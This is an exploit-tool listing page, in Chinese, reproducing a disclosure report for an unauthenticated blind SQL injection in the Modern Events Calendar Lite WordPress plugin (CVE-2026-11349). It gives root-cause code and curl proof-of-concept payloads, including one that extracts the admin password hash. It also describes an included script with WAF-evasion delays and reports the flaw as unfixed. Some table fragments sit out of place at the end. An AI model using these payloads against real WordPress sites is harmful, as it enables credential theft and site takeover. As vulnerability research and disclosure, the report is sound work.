Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — 未认证的SQL注入漏洞 | Kitploit
工具/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试数据库安全
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — 未认证的SQL注入漏洞

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Modern Events Calendar Lite <= 7.33.0 — 未认证SQL注入(通过 mec_list_load_more 的 atts[include] / atts[exclude])

摘要

详细信息值
插件Modern Events Calendar Lite
别名modern-events-calendar-lite
作者Webnus
受影响版本<= 7.33.0(当前供应商分发的Lite版本)。该漏洞存在于整个post-w.org版本范围内;已在5.6.5和7.33.0上经实验室验证,在5.21.2上经静态代码确认。6.5.6 = 最后一个wordpress.org版本(在2022-05-11关闭时冻结);7.33.0 = 当前从mec.webnus.net分发的版本
活跃安装量自关闭后wordpress.org隐藏计数;历史上超过100,000。供应商仍在积极分发和更新(Lite版本通过mec.webnus.net分发;相同的7.x代码库也用于正在积极销售的MEC Pro)
CWECWE-89(SQL注入)
漏洞类型未认证的盲SQL注入(基于时间/布尔/报错)
所需权限无(wp_ajax_nopriv_* — 预认证)
用户交互无
CVSS v3.17.5(高危) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
状态在7.33.0(当前版本)和6.5.6(WordPress 6.6.5,MariaDB 10.x)上经端到端实验室验证
CVE / GHSACVE-2026-11349

描述

Modern Events Calendar Lite 注册了一系列未认证的 admin-ajax.php “加载更多”操作,用于其事件列表皮肤(list、grid、masonry、agenda、timeline、tile、custom)。每个处理程序读取攻击者控制的 atts 请求数组,通过一个名为 sanitize_deep_array() 的辅助函数处理 —— 当以默认参数调用时,该函数不执行任何清理 —— 然后将 atts['include'](和 atts['exclude'])的值原始地拼接进一个 post_id IN (...) SQL 片段中,并通过 $wpdb->get_results() 执行,且未使用 。

由于入口点注册在 wp_ajax_nopriv_* 上,不需要认证、账户、nonce 或用户交互。未认证的远程攻击者可以将任意 SQL 注入到针对 wp_mec_dates 表的 SELECT 语句的 WHERE 子句中,并通过盲时间/布尔/报错技术读取 WordPress 数据库中的任何数据(用户密码哈希、wp_options 秘密/密钥、其他插件的数据)。


根因

1. “清理器”在默认路径上未进行任何清理

app/libraries/main.php:9607:

root@kitploit:~
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // 第9615行
        {
            $sanitized[$key] = $val;   // <-- 原始直通,无清理
            continue;
        }
        // ...(仅当 $excludes 非空时才到达 sanitize_text_field / (int) / esc_url / ...)
    }
    return $sanitized;
}

条件 (is_array($excludes) and !count($excludes)) 使得当 $excludes 为默认的空数组时,函数完全无操作 —— 每个值都被原样复制。意图显然是想“如果存在排除列表,则跳过这些键”;但布尔逻辑却导致在没有提供排除列表时跳过了所有内容。

2. 调用者未提供 $excludes

app/skins/list.php:499-501(load_more()):

root@kitploit:~
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // 第501行

sanitize_deep_array($_REQUEST['atts']) 使用单个参数调用 → $excludes 默认为 array() → 上述无操作分支 → $atts 是原始、不受信任的 $_REQUEST['atts']。

3. 原始拼接进 IN (...) 子句

app/libraries/skins.php:

root@kitploit:~
// 第603行(exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// 第606行(include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

数组元素直接通过 implode() 拼接到 SQL 字符串中,未进行整数转换或转义。(对每个元素使用 absint() / (int) 本可关闭此漏洞。)

4. 执行时未使用预编译语句

app/libraries/db.php:79:

root@kitploit:~
public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // 仅将 `#__` 替换为表前缀
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // 第87行 — 无 prepare()
    // ...
}

完整构建的字符串被直接传递给 $wpdb->get_results()。

污点流(请求 → 接收器):

root@kitploit:~
$_REQUEST['atts']                                       (攻击者控制,未认证)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (无操作:默认空 $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = 原始 atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (无 prepare)

可达性

app/skins/list.php:51-52:

root@kitploit:~
$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- 未认证

nopriv 注册使得该端点在预认证状态下可达。相同的 load_more() 结构以及共享的 skins.php 查询构建器出现在其他皮肤中,每个皮肤都有自己的 wp_ajax_nopriv_* 动作,因此可以通过以下任何一个同样实现注入:

load_more() 中未检查 nonce,且该操作不要求页面上存在任何插件短代码 —— AJAX 处理程序在初始化时无条件注册。


概念验证(实验室验证,MEC Lite 6.5.6,WordPress 6.6.5,MariaDB 10.x)

所有请求均为未认证(无 cookie,无 nonce)。注入值位于 atts[include][] 中;载荷关闭了 IN ((...) AND (... IN ( 组的两个左括号,并附加一个顶层 OR <sleep>,以便对每个扫描行评估条件,然后注释掉尾部的 )) ORDER BY ...:

root@kitploit:~
TARGET='https://victim.example'          # 普通链接:直接使用 admin-ajax.php

# 1) 基线(无注入)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) 基于时间的证明 —— 平衡的顶层 OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) 被执行

# 3) 布尔预言(真 vs 假)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (真)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (假)

# 4) 真实数据提取(盲注),例如 admin 密码哈希的第一个字节等于 '$'(0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← 真:admin 哈希以 '$' 开头(phpass)

从 WP_DEBUG_LOG 捕获的针对错误金丝雀 atts[include][]=0)MEC_SQLI_CANARY 执行的确切查询为:

root@kitploit:~
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

—— 字面标记 MEC_SQLI_CANARY 原样出现在执行的语句中,证实了原始拼接。atts[exclude][] 参数(skins.php:803 / 603,NOT IN)同样可注入(实验室确认:atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s)。相同的查询和注入在 7.33.0(当前构建)上复现 —— 相同的金丝雀,相同的 SLEEP 行为。

自动化 PoC

mec-unauth-sqli-poc.py(包含在内)完全独立且无需凭据:它确认注入(基线 vs. SLEEP),然后执行基于时间的盲提取任意数据(默认:@@version、数据库用户和第一个 admin 的 user_login:user_pass)。它验证每个响应(HTTP 200),并使用 --delay + 退避策略来规避 WAF/速率限制(例如 mod_evasive)。不修改任何数据(只读 SELECT 上下文)。

root@kitploit:~
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

影响

未认证、网络可达、对数据库的完整读取权限:wp_users 密码哈希、wp_options(auth_key、API 秘密、令牌)以及任何其他表。实际上,这可以连锁导致完全接管站点(离线哈希破解、秘密/会话窃取)。完整性影响有限 —— 注入通过 $wpdb->get_results() 在 SELECT 上下文中执行,不允许堆叠查询 —— 因此 I:N。大量 SLEEP/BENCHMARK 可能降低可用性,但主要、可靠演示的影响是机密性(C:H),因此 CVSS 为 7.5。


受影响文件

行号针对 7.33.0(当前)给出,括号内为 6.5.6;代码在整个范围内相同。

其他皮肤(grid、masonry、agenda、timeline、tile、custom)共享相同的 load_more() + skins.php 查询构建器,并且各自注册了 wp_ajax_nopriv_* 动作 → 相同的漏洞,多个入口点。


与之前 Modern Events Calendar SQL 注入 CVE 的区别

这是一个不同的、此前未报告的注入点。所有公开记录的 MEC SQL 注入都针对不同的 AJAX 动作和参数,并且都在此发现所涉及版本之后的版本中得到修复(实验室确认在 7.33.0 中仍然存在):

  • 不同的代码路径。 之前的未认证问题位于单事件处理程序 mec_load_single_page 中;而本问题位于皮肤“加载更多”分页中(load_more() → MEC_skin::initialize() → app/libraries/skins.php 中的 post_id IN (...) 构建器),通过 sanitize_deep_array() 的无操作默认分支到达。mec_load_single_page 的补丁未触及 skins.php。
  • 无配置前提条件。 CVE-2021-4458(id)仅在 PHP/WordPress 输入斜杠转义禁用时才能利用(非常规状态),因为该值位于一个带引号的上下文中。而此处 atts[include]/atts[exclude] 的值位于一个未加引号的数值 IN(...) 上下文中,并利用括号 + SQL 关键字(0)) OR SLEEP(3)#)进行利用, 无法中和。因此,它在上可被利用 —— 在标准 WP 7.0(魔术引号开启)上经实验室确认。

披露 / 范围说明

Modern Events Calendar Lite 版本于 2022-05-11 从 wordpress.org 下架(“原因:违反指南”),因此 wordpress.org 版本冻结在 6.5.6。这并不意味着该插件被放弃 —— Webnus 继续在平台外开发:当前从 mec.webnus.net 分发的 Lite 版本为 7.33.0,且易受攻击的代码路径与此处逐字节相同(实验室确认;SQLi 在 7.33.0 上同样触发)。因此,该漏洞影响了下架后范围内的每个版本,而不仅仅是冻结的 wordpress.org 副本。

路由影响(“在 wordpress.org 上已关闭”的反对意见比看起来要弱得多):

  • 这是一个当前、由供应商分发、受支持的产品,并非废弃代码 —— 向 Webnus 进行协调披露是主要渠道;他们积极发布更新并应修补。
  • MEC Pro(积极销售;当前 7.x)基于相同的 7.x 代码库。app/libraries/skins.php、app/libraries/main.php 和 app/libraries/db.php 是共享的核心库,因此 Pro 版本几乎肯定受影响。应在正式断言之前针对 Pro 源代码进行确认,但共享库架构使其非常可能。确认 Pro 受影响后,该发现将明确属于 Patchstack 的范围(公开销售的组件),并且无论 wordpress.org 列表状态如何,都值得分配 MITRE/Patchstack CVE。
  • 对于以 wordpress.org 列表状态为门槛的消费者(某些 Wordfence 赏金标准;Patchstack 对“已关闭组件”的排除适用于 Lite 免费版本),请引用供应商分发的 7.33.0 + Pro 影响,而非冻结的 6.5.6。

鉴于这是一个未认证、网络可达、可完全读取数据库的 SQL 注入,且存在于一个当前、供应商分发的产品中,历史上拥有六位数安装基数,CVE 是合理的。


时间线

日期事件
2026-06-03在自动插件审查中发现;在 MEC Lite 6.5.6(wordpress.org 冻结版本)上完成端到端验证(未认证)
2026-06-04在 7.33.0(当前从 mec.webnus.net 分发的供应商 Lite 版本)上重新端到端验证;确认代码/注入相同 —— 该发现是当前的,而非下架版本的遗留问题
2026-06-04
下载工具
$wpdb->prepare()
AJAX 动作(nopriv)皮肤处理程序
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233
文件行号(7.33.0 / 6.5.6)问题
app/libraries/main.php11726-11734 / 9607-9619当 $excludes 为默认空数组时,sanitize_deep_array() 无操作(!count($excludes) 守卫)
app/skins/list.php535 / 501atts 从 $_REQUEST 读取并传递给 sanitize_deep_array() 时未提供 $excludes(在 load_more() 中,532 / 497)
app/skins/list.php53 / 52wp_ajax_nopriv_mec_list_load_more → 未认证入口点
app/libraries/skins.php806 / 603-606include / exclude 数组通过 implode() 原始拼接到 post_id IN (...) / NOT IN (...) 中(exclude 位于 803 / 603)
app/libraries/db.php79-93 (87)MEC_db::select() 使用 $wpdb->get_results() 执行时未使用 prepare()
参考认证AJAX 动作参数修复版本
CVE-2021-24946未认证mec_load_single_pagetime6.1.5
CVE-2021-4458未认证 (仅当 addslashes/输入斜杠转义被禁用时)mec_load_single_pageid6.4.0
CVE-2021-24149已认证(作者+ / 订阅者)mec_fes_formmec[post_id]5.16.6
本报告未认证(无前提条件)mec_list_load_more(+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more)atts[include][] / atts[exclude][]未修复(≤ 7.33.0)
wp_magic_quotes()
默认 WordPress 安装
  • 所有先前修复均未覆盖。 确认在 7.33.0 上触发 —— 距离上一个 mec_load_single_page 补丁(6.4.0)已经过去四年,并且跨过一个主版本。
  • 向供应商(Webnus)通知 + 向 WPScan 申请 CVE;确认 MEC Pro 共享该路径
    2026-06-05漏洞已验证并分配 CVE